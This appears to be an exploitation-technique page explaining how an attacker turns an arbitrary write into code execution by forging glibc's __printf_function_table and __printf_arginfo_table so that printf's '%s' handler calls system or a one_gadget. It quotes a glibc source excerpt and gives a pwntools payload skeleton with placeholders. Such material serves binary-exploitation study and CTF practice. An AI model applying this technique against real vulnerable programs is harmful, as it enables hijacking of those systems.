WWW2Exec - __printf_arginfo_table
Glibc allows users to register custom conversion specifiers (like %s, %d) for printf.
Prerequisites
- Arbitrary write primitive in Glibc data.
- Ability to trigger a
printfpath after overwrite. - Glibc base leak to resolve
__printf_function_table/__printf_arginfo_table.
How it Works
When printf is called, it checks a global variable __printf_function_table. If it is non-NULL, it uses __printf_arginfo_table to find the handler function for the current specifier.
1. Overwrite __printf_function_table with a non-zero value (e.g., 1).
2. Forge a table at the address pointed to by __printf_arginfo_table.
3. In that table, at index ord('s') (0x73), place the address of your gadget or system.
size_t
attribute_hidden
__parse_one_specmb (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg,
bool *failed)
{
// ...
/* Get the format specification. */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
// ...
}
// ...
}
As can be seen, we need that __printf_arginfo_table is non-NULL, so that we can control the behavior of printf. The actual exploitable path is this call:
(*__printf_arginfo_table[spec->info.spec])(&spec->info, 1, &spec->data_arg_type, &spec->size)
Exploitation
So, we need to set __printf_arginfo_table[spec->info.spec] to the function/address we want to call. Notice that spec->info.spec is the format specifier (e.g., 0x73 for %s, its ASCII value). As a result, when printf is called with %s as a format specifier, spec->info.spec will be 0x73, so we need to set __printf_arginfo_table[0x73] to the function/address we want to call.
An example payload could be:
from pwn import *
context.binary = ...
def arb_write(addr, val):
pass
one_gadget = ...
__printf_function_table_addr = ...
__printf_arginfo_table_addr = __printf_function_table_addr + 8
fake___printf_arginfo_table_addr = ...
arb_write(fake___printf_arginfo_table_addr + ord('s') * 8, one_gadget)
arb_write(__printf_arginfo_table_addr, fake___printf_arginfo_table_addr)
arb_write(__printf_function_table_addr, 1)